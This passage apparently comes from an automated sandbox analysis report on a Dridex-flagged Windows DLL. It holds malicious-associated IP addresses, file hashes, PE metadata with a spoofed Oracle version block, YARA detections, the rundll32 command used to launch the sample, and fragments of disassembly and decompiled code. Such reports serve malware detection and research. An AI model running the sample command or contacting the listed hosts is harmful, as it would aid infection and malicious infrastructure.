                                                                                                                                            SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.23689.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.26365.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.11362.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.23460.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            UGDLmAm2UI.exeGet hashmaliciousBrowse
                                                                                                                                            • 176.9.111.171
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.23460.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            Positive_Result_75184731.xlsGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28

                                                                                                                                            JA3 Fingerprints

                                                                                                                                            No context

                                                                                                                                            Dropped Files

                                                                                                                                            No context

                                                                                                                                            Created / dropped Files

                                                                                                                                            C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_cb141ddbd73935fa41bc7de65f3b5892ae8957_82810a17_181d80d5\Report.wer
                                                                                                                                            Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                            File Type:Little-endian UTF-16 Unicode text, with CRLF line terminators
                                                                                                                                            Category:dropped
                                                                                                                                            Size (bytes):65536
                                                                                                                                            Entropy (8bit):0.9216833008057036
                                                                                                                                            Encrypted:false
                                                                                                                                            SSDEEP:192:Vrtcic0oX4J/HBUZMX4jed+yP/u7s3S274ItWc:rci6X4J/BUZMX4je3P/u7s3X4ItWc
                                                                                                                                            MD5:E7F039FF273CF65FB19F689F249BC762
                                                                                                                                            SHA1:489899BDAB08407313705B51EABFE2EE61D5B7D8
                                                                                                                                            SHA-256:0362F63341841AB8EBCF95D28576DD7990CF5D8AE0033AF0EB26EA66EC1960DD
                                                                                                                                            SHA-512:B2E3D2553A9394F547A99EB86A843931ACFC9526F1BF9EE19D80571CD07705D816646789BCD6A558640989DF9025394EEEB9C3BC36670F884D45297A6FB98607
                                                                                                                                            Malicious:false
                                                                                                                                            Reputation:low
                                                                                                                                            Preview: ..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.4.6.8.9.4.3.7.0.1.1.9.6.1.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.8.4.6.8.9.4.4.3.7.1.5.0.4.3.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.2.b.f.6.a.4.1.-.6.4.5.4.-.4.7.b.0.-.9.b.3.1.-.8.e.1.2.d.0.0.8.1.2.c.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.9.2.3.e.2.8.0.-.8.7.1.f.-.4.8.7.b.-.b.c.1.d.-.e.2.5.a.9.9.1.c.9.0.1.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.f.4.-.0.0.0.1.-.0.0.1.b.-.1.3.4.2.-.5.4.e.9.8.b.f.7.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.b.c.c.5.d.c.3.2.2.2.0.3.4.d.3.f.2.5.7.f.1.f.d.3.5.8.8.9.e.5.b.e.9.0.f.0.9.
                                                                                                                                            C:\ProgramData\Microsoft\Windows\WER\Temp\WER6137.tmp.dmp
                                                                                                                                            Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                            File Type:Mini DuMP crash report, 14 streams, Wed Dec 22 23:30:38 2021, 0x1205a4 type
                                                                                                                                            Category:dropped
                                                                                                                                            Size (bytes):44932
                                                                                                                                            Entropy (8bit):2.1393044542450963
                                                                                                                                            Encrypted:false
                                                                                                                                            SSDEEP:192:ct+4+OGsqcdO5SkbmQ4gwbBDLSmGBo2nRsyula5M5ONuMvZn:2w5Lbp4HBvLMRsH+RNue
                                                                                                                                            MD5:D26A4E2DF41F5BA127CD15050408EFE4
                                                                                                                                            SHA1:C1A79A2626E605A0DABEA6D22BE872507308C06E
                                                                                                                                            SHA-256:DBA0670C17A66FF5338C8F96BA343FD0E039D7920EDB2D61764D74CEB34BF508
                                                                                                                                            SHA-512:DA972C73690CEA4ADF6DE3C59E0CBD6E1855ECB2D0CE609EEE71AD3B10172C52F4E92BCD48B7C5BF8B36B3528ABD28A67EB1AE5252E6D091EACE39E56D205BCA
                                                                                                                                            Malicious:false
                                                                                                                                            Reputation:low
                                                                                                                                            Preview: MDMP....... ..........a.........................................-..........T.......8...........T...........@...D............................................................................................U...........B...... .......GenuineIntelW...........T..............a.............................0..=...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                            C:\ProgramData\Microsoft\Windows\WER\Temp\WER67DF.tmp.WERInternalMetadata.xml
                                                                                                                                            Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                            File Type:XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
                                                                                                                                            Category:dropped
                                                                                                                                            Size (bytes):8328
                                                                                                                                            Entropy (8bit):3.6917332919586117
                                                                                                                                            Encrypted:false
                                                                                                                                            SSDEEP:192:Rrl7r3GLNiAj67zS6YDG6+gmfT/WSd+prT89bpDsffDm:RrlsNiU6K6Yi6+gmfT/WS9pofy
                                                                                                                                            MD5:48B4ABCD308472A9FBE6296EDFA6488F
                                                                                                                                            SHA1:2A664BC5BE2C0DF0A2C81C334BF38C31DC5F4BC5
                                                                                                                                            SHA-256:3DDB195DDFC2BC6B4447CAFBE4255C283C001DC960E24D118632ACB4ABF381EA
                                                                                                                                            SHA-512:E980272DEA8BC296C589B8AEB438022CC448CEB957EBFE447CFE1D9D227C4D7A4928C94E4E493AA4A244E2D1F99CF120571AEA626460D207565EBD2965D58C4E
                                                                                                                                            Malicious:false
                                                                                                                                            Reputation:low
                                                                                                                                            Preview: ..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.5.6.<./.P.i.d.>.......
                                                                                                                                            C:\ProgramData\Microsoft\Windows\WER\Temp\WER6AFD.tmp.xml
                                                                                                                                            Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                            File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                            Category:dropped
                                                                                                                                            Size (bytes):4698
                                                                                                                                            Entropy (8bit):4.487468730115091
                                                                                                                                            Encrypted:false
                                                                                                                                            SSDEEP:48:cvIwSD8zs4JgtWI9EKWSC8B08fm8M4JCdsDIhF/eAD+q8/Q2BE4SrSy6d:uITf+brSNrJlYemVjDWy6d
                                                                                                                                            MD5:C26772DDB422AA1BD298C800D4F0C26D
                                                                                                                                            SHA1:F3170EF0B3723EBFC478B2BE5531CCF3A8A43EE9
                                                                                                                                            SHA-256:A545672B0B9385F91F9790DDF9F6A92D242BF48E8687C226938E07C792514892
                                                                                                                                            SHA-512:CD87E3D0FB4737DCD287C912ECE30FDC8D930ADCD0754328B8FD9061E16B3A67EAA5F2D4042D908903D0482C12E47454250DBB6D78CDD1749EC59C5D5C4B5921
                                                                                                                                            Malicious:false
                                                                                                                                            Reputation:low
                                                                                                                                            Preview: <?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1309481" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..
                                                                                                                                            C:\Windows\appcompat\Programs\Amcache.hve
                                                                                                                                            Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                            File Type:MS Windows registry file, NT/2000 or above
                                                                                                                                            Category:dropped
                                                                                                                                            Size (bytes):1572864
                                                                                                                                            Entropy (8bit):4.245874973603224
                                                                                                                                            Encrypted:false
                                                                                                                                            SSDEEP:12288:mzn1KMWZCMcgKhosjY9gX3zIkavfvpOKjAXcgLxryCfLGy0C:mn1KMWZCMc1hosF0k
                                                                                                                                            MD5:76EE067A090A648DF89C7FF478747619
                                                                                                                                            SHA1:082876732B8A69D02CFDC684A2E2B5FDFAE8CBCE
                                                                                                                                            SHA-256:EC919D29CCA1BA12C5E0362C04E4F4A4E934B96C8AD36B42CB85719AB869D75E
                                                                                                                                            SHA-512:22F00D5FC8B7497A026F49546E7863C20233EB947FAF897238E12913F851CDAD99FDD6BC1F21AC572BD6AA12C4B82FB8AE358ADA654E0076540548F3E37BD023
                                                                                                                                            Malicious:false
                                                                                                                                            Reputation:low
                                                                                                                                            Preview: regfH...H...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm...................................................................................................................................................................................................................................................................................................................................................E%..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                            C:\Windows\appcompat\Programs\Amcache.hve.LOG1
                                                                                                                                            Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                            File Type:MS Windows registry file, NT/2000 or above
                                                                                                                                            Category:dropped
                                                                                                                                            Size (bytes):20480
                                                                                                                                            Entropy (8bit):3.4144037141915637
                                                                                                                                            Encrypted:false
                                                                                                                                            SSDEEP:384:LLK5K5XPv4EgnVVeeDzeQ1NKZtjoT8Gpwu1733SYK:nUKbg/eeDzeuNYtjpGpwutSY
                                                                                                                                            MD5:8857CDF26BBFEB720DD8EFA351DA226F
                                                                                                                                            SHA1:356DDEEB887952D074AA88EBF183FD9E63D1F664
                                                                                                                                            SHA-256:309771E54E782C1A23CBD2054A8AF3E19A6DFD21FB53E70DFCC05747C73F8E98
                                                                                                                                            SHA-512:DCC74BAACDA43730A7B5A85FF26152BD418C71B9EF2B6FA9F6ACD3950384AFCD98169870A1E5FF8C49616E0A731E2A05F84537EA2EA8BCCC94DF97ABAF3A1918
                                                                                                                                            Malicious:false
                                                                                                                                            Reputation:low
                                                                                                                                            Preview: regfG...G...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm...................................................................................................................................................................................................................................................................................................................................................C%..HvLE.N......G..............t..@.P.+U...Z..................... ..hbin................p.\..,..........nk,..s.........@........................... ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk ..s......... ........................... .......Z.......................Root........lf......Root....nk ..s..................................... ...............*...............DeviceCensus.......................vk..................WritePermissionsCheck.......p...

                                                                                                                                            Static File Info

                                                                                                                                            General

                                                                                                                                            File type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                            Entropy (8bit):7.2202707172455005
                                                                                                                                            TrID:
                                                                                                                                            • Win32 Dynamic Link Library (generic) (1002004/3) 99.60%
                                                                                                                                            • Generic Win/DOS Executable (2004/3) 0.20%
                                                                                                                                            • DOS Executable Generic (2002/1) 0.20%
                                                                                                                                            • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                            File name:SecuriteInfo.com.W32.AIDetect.malware2.28165.dll
                                                                                                                                            File size:565248
                                                                                                                                            MD5:9d86b7a93411bd7cc5c68b4f49709c27
                                                                                                                                            SHA1:199faa9305b8a1f6645c07098990ac62da6a7d4d
                                                                                                                                            SHA256:03d956e36d96255794c7999c52cbc3ea5fc6ec52193a0a3db40e7fb1414b6219
                                                                                                                                            SHA512:35b7a39d10f5d570355065737264eeb469833d6a6526cc77da0d88144aea28381d81ec13e3afe5cdedfb0dcf1464847ee886c3bcefcf687c93cf5b7cc4b4c3e9
                                                                                                                                            SSDEEP:12288:znYoMi8KFy86zc86boq67oy6zq86xoG6V2C6FoE69oI6Vo8mHo06zo8knoz5fU56:ziI0+2OJIjTR
                                                                                                                                            File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........R...<...<...<..k....<...=.S.<.=.....<.......<.......<.t.?...<.t.=.4.<.L.9...<.t...0.<..k....<..0..x.<.......<..1....<..k....<

                                                                                                                                            File Icon

                                                                                                                                            Icon Hash:74f0e4ecccdce0e4

                                                                                                                                            Static PE Info

                                                                                                                                            General

                                                                                                                                            Entrypoint:0x10004cd0
                                                                                                                                            Entrypoint Section:.rdata
                                                                                                                                            Digitally signed:false
                                                                                                                                            Imagebase:0x10000000
                                                                                                                                            Subsystem:windows gui
                                                                                                                                            Image File Characteristics:32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
                                                                                                                                            DLL Characteristics:DYNAMIC_BASE, NX_COMPAT
                                                                                                                                            Time Stamp:0x61C34004 [Wed Dec 22 15:11:00 2021 UTC]
                                                                                                                                            TLS Callbacks:
                                                                                                                                            CLR (.Net) Version:
                                                                                                                                            OS Version Major:5
                                                                                                                                            OS Version Minor:0
                                                                                                                                            File Version Major:5
                                                                                                                                            File Version Minor:0
                                                                                                                                            Subsystem Version Major:5
                                                                                                                                            Subsystem Version Minor:0
                                                                                                                                            Import Hash:6c630f89c340001062a2ada6a2273a4d

                                                                                                                                            Entrypoint Preview

                                                                                                                                            Instruction
                                                                                                                                            inc eax
                                                                                                                                            mov edx, 00000003h
                                                                                                                                            cmpps xmm1, xmm0, 02h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            add edx, 04h
                                                                                                                                            jmp 00007F8104B8BBA1h
                                                                                                                                            int3
                                                                                                                                            int3
                                                                                                                                            int3
                                                                                                                                            int3
                                                                                                                                            int3
                                                                                                                                            int3
                                                                                                                                            int3
                                                                                                                                            int3
                                                                                                                                            int3
                                                                                                                                            int3
                                                                                                                                            int3
                                                                                                                                            int3
                                                                                                                                            push ebp
                                                                                                                                            mov ebp, esp
                                                                                                                                            push edi
                                                                                                                                            push ebx
                                                                                                                                            push esi
                                                                                                                                            and esp, FFFFFFF8h
                                                                                                                                            sub esp, 00000080h
                                                                                                                                            mov eax, dword ptr [ebp+08h]
                                                                                                                                            mov ecx, 113CF852h
                                                                                                                                            xor edx, edx
                                                                                                                                            mov esi, dword ptr [esp+78h]
                                                                                                                                            mov edi, esi
                                                                                                                                            xor edi, 0342D826h
                                                                                                                                            mov dword ptr [esp+78h], edi
                                                                                                                                            mov byte ptr [esp+77h], 00000043h
                                                                                                                                            mov dword ptr [esp+64h], 113CF852h
                                                                                                                                            mov word ptr [esp+4Ah], FE51h
                                                                                                                                            mov dword ptr [esp+34h], eax
                                                                                                                                            mov dword ptr [esp+30h], ecx
                                                                                                                                            mov dword ptr [esp+2Ch], edx
                                                                                                                                            mov dword ptr [esp+28h], esi
                                                                                                                                            call 00007F8104B8F453h
                                                                                                                                            mov ecx, eax
                                                                                                                                            mov edx, eax
                                                                                                                                            mov esi, dword ptr [eax+3Ch]
                                                                                                                                            mov edi, eax
                                                                                                                                            add edi, esi
                                                                                                                                            mov ebx, dword ptr [esp+68h]
                                                                                                                                            mov dword ptr [esp+24h], eax
                                                                                                                                            mov eax, dword ptr [esp+00h]

                                                                                                                                            Rich Headers

                                                                                                                                            Programming Language:
                                                                                                                                            • [IMP] VS2015 UPD1 build 23506
                                                                                                                                            • [C++] VS2012 UPD1 build 51106
                                                                                                                                            • [ASM] VS2012 build 50727
                                                                                                                                            • [ASM] VS2012 UPD2 build 60315
                                                                                                                                            • [LNK] VS2010 SP1 build 40219
                                                                                                                                            • [EXP] VS2010 SP1 build 40219
                                                                                                                                            • [RES] VS2015 UPD1 build 23506
                                                                                                                                            • [IMP] VS2010 build 30319
                                                                                                                                            • [ASM] VS2015 UPD1 build 23506
                                                                                                                                            • [C++] VS2017 v15.5.4 build 25834
                                                                                                                                            • [EXP] VS2012 UPD4 build 61030
                                                                                                                                            • [C++] VS2008 build 21022
                                                                                                                                            • [ASM] VS2010 SP1 build 40219

                                                                                                                                            Data Directories

                                                                                                                                            NameVirtual AddressVirtual Size Is in Section
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_EXPORT0x80f490x60.rdata
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_IMPORT0x80fac0x78.rdata
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_RESOURCE0x890000x2f0.rsrc
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_BASERELOC0x8a0000x1174.reloc
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_DEBUG0x60300x38.rdata
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_IAT0x80000x44.rdata
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                            Sections

                                                                                                                                            NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                            .rdata0x10000x66be0x7000False0.380964006696data4.37724235459IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                                                                                                                                            .rdata0x80000x7916e0x7a000False0.28338322874data7.33164589989IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                            .data0x820000x696e0x5000False0.247509765625data5.01040935971IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
                                                                                                                                            .rsrc0x890000x2f00x1000False0.09033203125data0.788492020975IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                            .reloc0x8a0000x1baf0x2000False0.242309570312data4.16996433109IMAGE_SCN_TYPE_COPY, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                                                            Resources

                                                                                                                                            NameRVASizeTypeLanguageCountry
                                                                                                                                            RT_VERSION0x890600x290MS Windows COFF PA-RISC object fileEnglishUnited States

                                                                                                                                            Imports

                                                                                                                                            DLLImport
                                                                                                                                            WINSPOOL.DRVEnumFormsW
                                                                                                                                            KERNEL32.dllIsDebuggerPresent, GetModuleHandleW, GetModuleFileNameW, CloseHandle, GetFileSize, OutputDebugStringA
                                                                                                                                            WS2_32.dllWSACleanup
                                                                                                                                            ADVAPI32.dllQueryServiceStatusEx, AccessCheck, RegCloseKey
                                                                                                                                            USER32.dllGetWindowTextA

                                                                                                                                            Version Infos

                                                                                                                                            DescriptionData
                                                                                                                                            OriginalFilenameIha.dll
                                                                                                                                            FileDescriptionOracle Call Interface
                                                                                                                                            FileVersion2.3.7.0.0
                                                                                                                                            Legal CopyrightCopyright Oracle Corporation 1979, 2001. All rights reserved.
                                                                                                                                            CompanyNameOracle Corporation
                                                                                                                                            Translation0x0409 0x04b0

                                                                                                                                            Possible Origin

                                                                                                                                            Language of compilation systemCountry where language is spokenMap
                                                                                                                                            EnglishUnited States

                                                                                                                                            Network Behavior

                                                                                                                                            No network behavior found

                                                                                                                                            Code Manipulations

                                                                                                                                            Statistics

                                                                                                                                            CPU Usage

                                                                                                                                            Click to jump to process

                                                                                                                                            Memory Usage

                                                                                                                                            Click to jump to process

                                                                                                                                            High Level Behavior Distribution

                                                                                                                                            Click to dive into process behavior distribution

                                                                                                                                            Behavior

                                                                                                                                            Click to jump to process

                                                                                                                                            System Behavior

                                                                                                                                            General

                                                                                                                                            Start time:00:30:31
                                                                                                                                            Start date:23/12/2021
                                                                                                                                            Path:C:\Windows\System32\loaddll32.exe
                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                            Commandline:loaddll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware2.28165.dll"
                                                                                                                                            Imagebase:0x970000
                                                                                                                                            File size:116736 bytes
                                                                                                                                            MD5 hash:7DEB5DB86C0AC789123DEC286286B938
                                                                                                                                            Has elevated privileges:true
                                                                                                                                            Has administrator privileges:true
                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                            Yara matches:
                                                                                                                                            • Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmp, Author: Joe Security
                                                                                                                                            Reputation:moderate

                                                                                                                                            General

                                                                                                                                            Start time:00:30:31
                                                                                                                                            Start date:23/12/2021
                                                                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                            Commandline:cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware2.28165.dll",#1
                                                                                                                                            Imagebase:0x11d0000
                                                                                                                                            File size:232960 bytes
                                                                                                                                            MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                            Has elevated privileges:true
                                                                                                                                            Has administrator privileges:true
                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                            Reputation:high

                                                                                                                                            General

                                                                                                                                            Start time:00:30:31
                                                                                                                                            Start date:23/12/2021
                                                                                                                                            Path:C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                            Commandline:rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware2.28165.dll",#1
                                                                                                                                            Imagebase:0xb20000
                                                                                                                                            File size:61952 bytes
                                                                                                                                            MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                                                                                                                                            Has elevated privileges:true
                                                                                                                                            Has administrator privileges:true
                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                            Yara matches:
                                                                                                                                            • Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000002.00000000.663271333.000000006E751000.00000020.00020000.sdmp, Author: Joe Security
                                                                                                                                            • Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000002.00000000.664478156.000000006E751000.00000020.00020000.sdmp, Author: Joe Security
                                                                                                                                            • Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000002.00000002.695754483.000000006E751000.00000020.00020000.sdmp, Author: Joe Security
                                                                                                                                            Reputation:high

                                                                                                                                            General

                                                                                                                                            Start time:00:30:34
                                                                                                                                            Start date:23/12/2021
                                                                                                                                            Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                            Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 7156 -s 684
                                                                                                                                            Imagebase:0xda0000
                                                                                                                                            File size:434592 bytes
                                                                                                                                            MD5 hash:9E2B8ACAD48ECCA55C0230D63623661B
                                                                                                                                            Has elevated privileges:true
                                                                                                                                            Has administrator privileges:true
                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                            Reputation:high

                                                                                                                                            Disassembly

                                                                                                                                            Code Analysis

                                                                                                                                            Reset < >

                                                                                                                                              Executed Functions

                                                                                                                                              C-Code - Quality: 83%
                                                                                                                                              			E6E760730(void* __ecx) {
                                                                                                                                              				void* __ebx;
                                                                                                                                              				void* __esi;
                                                                                                                                              				void* __ebp;
                                                                                                                                              				intOrPtr _t155;
                                                                                                                                              				signed char* _t159;
                                                                                                                                              				char _t162;
                                                                                                                                              				void* _t180;
                                                                                                                                              				intOrPtr _t189;
                                                                                                                                              				char _t190;
                                                                                                                                              				intOrPtr _t196;
                                                                                                                                              				intOrPtr _t200;
                                                                                                                                              				void* _t203;
                                                                                                                                              				void* _t212;
                                                                                                                                              				void* _t213;
                                                                                                                                              				void* _t215;
                                                                                                                                              				void* _t216;
                                                                                                                                              				void* _t223;
                                                                                                                                              				void* _t238;
                                                                                                                                              				void* _t241;
                                                                                                                                              				void* _t244;
                                                                                                                                              				void* _t247;
                                                                                                                                              				void* _t250;
                                                                                                                                              				void* _t254;
                                                                                                                                              				void* _t259;
                                                                                                                                              				void* _t265;
                                                                                                                                              				void* _t268;
                                                                                                                                              				int _t271;
                                                                                                                                              				void* _t272;
                                                                                                                                              				void* _t276;
                                                                                                                                              				void* _t277;
                                                                                                                                              				void* _t278;
                                                                                                                                              				void* _t282;
                                                                                                                                              				int _t288;
                                                                                                                                              				intOrPtr* _t291;
                                                                                                                                              				signed char _t294;
                                                                                                                                              				signed char _t295;
                                                                                                                                              				intOrPtr* _t320;
                                                                                                                                              				intOrPtr* _t325;
                                                                                                                                              				intOrPtr* _t363;
                                                                                                                                              				char _t364;
                                                                                                                                              				intOrPtr* _t372;
                                                                                                                                              				void* _t377;
                                                                                                                                              				void* _t382;
                                                                                                                                              				void* _t383;
                                                                                                                                              				void* _t384;
                                                                                                                                              				void* _t385;
                                                                                                                                              				void* _t386;
                                                                                                                                              				void* _t387;
                                                                                                                                              				void* _t393;
                                                                                                                                              				void* _t395;
                                                                                                                                              				void* _t401;
                                                                                                                                              				void* _t403;
                                                                                                                                              				intOrPtr* _t404;
                                                                                                                                              				signed int _t406;
                                                                                                                                              				intOrPtr* _t409;
                                                                                                                                              				void* _t411;
                                                                                                                                              				signed int _t413;
